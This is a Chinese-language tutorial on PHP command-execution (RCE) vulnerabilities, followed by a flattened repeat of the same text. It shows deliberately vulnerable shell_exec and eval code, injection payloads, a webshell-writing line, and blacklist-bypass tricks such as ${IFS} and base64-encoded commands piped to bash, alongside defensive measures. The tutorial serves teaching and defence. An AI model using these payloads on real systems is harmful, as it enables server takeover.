WEB常见漏洞之命令执行
字数 1053 2025-08-11 17:40:12

WEB常见漏洞之命令执行(RCE)漏洞详解与防御

0x01 漏洞概述

RCE(Remote Command/Code Execute)即远程命令执行/代码执行漏洞。攻击者可以通过此漏洞直接向后台服务器注入操作系统命令或代码,从而控制后台系统。

0x02 漏洞原理与演示

一、基于Ping命令的RCE漏洞

漏洞代码示例

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
    if(stristr(php_uname('s'), 'windows')){
        $result.=shell_exec('ping '.$ip); // 直接拼接用户输入,未做过滤
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }
}

利用方式

  1. 正常输入:127.0.0.1
  2. 测试命令执行:127.0.0.1|dir (Windows) 或 127.0.0.1;ls (Linux)
  3. 进一步利用:127.0.0.1|ipconfig/all127.0.0.1;ifconfig

二、基于eval函数的RCE漏洞

漏洞代码示例

if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";
    }
}

利用方式

  1. 执行PHP代码:phpinfo();
  2. 执行系统命令:system("whoami");
  3. 写入Webshell:
    fputs(fopen('shell.php','w'),'<?php @eval($_POST["hack"]);?>');
    

0x03 命令执行绕过技术

1. 空格绕过技术

  • < 重定向:cat<flag.php
  • <> 重定向:cat<>flag.php
  • %09 (Tab字符):cat%09flag.php (需要PHP环境)
  • ${IFS}cat${IFS}flag.php
  • $IFS$9cat$IFS$9flag.php

2. 黑名单绕过技术

拼接绕过

a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;a$b ${c}${d}

编码绕过

  • Base64:
    echo "Y2F0IC9mbGFn"|base64 -d|bash  # 等同于 cat /flag
    
  • Hex:
    echo "636174202f666c6167" | xxd -r -p|bash  # 等同于 cat /flag
    

引号绕过

ca''t flag 或 ca""t flag
ca''t te""st.php

反斜杠绕过

ca\t fl\ag
cat te\st.php

3. 截断绕过

使用%0a(换行符)截断:

?c=cat f*%0a

0x04 漏洞防御措施

  1. 避免直接执行外部命令

    • 尽量使用自定义函数或函数库替代外部命令功能
  2. 输入过滤与验证

    • 对用户输入进行严格的白名单验证
    • 过滤特殊字符和命令分隔符(|, &, ;, $等)
  3. 安全函数使用

    • 使用escapeshellarg()escapeshellcmd()处理命令参数
    $safe_ip = escapeshellarg($ip);
    shell_exec("ping -c 4 ".$safe_ip);
    
  4. 环境配置加固

    • 设置safe_mode_exec_dir指定可执行文件的路径
    • 禁用危险函数:disable_functions = system,exec,shell_exec,passthru,...
  5. 最小权限原则

    • Web服务器以低权限用户运行
    • 限制可访问的目录和文件

0x05 实战绕过示例

示例1:过滤了flag、system、php、cat等关键词

if(!preg_match("/flag|system|php|cat|sort|shell|i", $c)){
    eval($c);
}

绕过Payload

?c=passthru("tac%09f*");

示例2:单行多命令执行

$a=shell_exec("ping -c 4 ".$ip);

绕过Payload

?ip=x;cat flag.php

通过深入理解这些技术和防御措施,可以有效识别和防范命令执行漏洞,提高Web应用的安全性。

WEB常见漏洞之命令执行(RCE)漏洞详解与防御 0x01 漏洞概述 RCE(Remote Command/Code Execute)即远程命令执行/代码执行漏洞。攻击者可以通过此漏洞直接向后台服务器注入操作系统命令或代码,从而控制后台系统。 0x02 漏洞原理与演示 一、基于Ping命令的RCE漏洞 漏洞代码示例 : 利用方式 : 正常输入: 127.0.0.1 测试命令执行: 127.0.0.1|dir (Windows) 或 127.0.0.1;ls (Linux) 进一步利用: 127.0.0.1|ipconfig/all 或 127.0.0.1;ifconfig 二、基于eval函数的RCE漏洞 漏洞代码示例 : 利用方式 : 执行PHP代码: phpinfo(); 执行系统命令: system("whoami"); 写入Webshell: 0x03 命令执行绕过技术 1. 空格绕过技术 < 重定向: cat<flag.php <> 重定向: cat<>flag.php %09 (Tab字符): cat%09flag.php (需要PHP环境) ${IFS} : cat${IFS}flag.php $IFS$9 : cat$IFS$9flag.php 2. 黑名单绕过技术 拼接绕过 : 编码绕过 : Base64: Hex: 引号绕过 : 反斜杠绕过 : 3. 截断绕过 使用 %0a (换行符)截断: 0x04 漏洞防御措施 避免直接执行外部命令 : 尽量使用自定义函数或函数库替代外部命令功能 输入过滤与验证 : 对用户输入进行严格的白名单验证 过滤特殊字符和命令分隔符( | , & , ; , $ 等) 安全函数使用 : 使用 escapeshellarg() 或 escapeshellcmd() 处理命令参数 环境配置加固 : 设置 safe_mode_exec_dir 指定可执行文件的路径 禁用危险函数: disable_functions = system,exec,shell_exec,passthru,... 最小权限原则 : Web服务器以低权限用户运行 限制可访问的目录和文件 0x05 实战绕过示例 示例1:过滤了flag、system、php、cat等关键词 绕过Payload : 示例2:单行多命令执行 绕过Payload : 通过深入理解这些技术和防御措施,可以有效识别和防范命令执行漏洞,提高Web应用的安全性。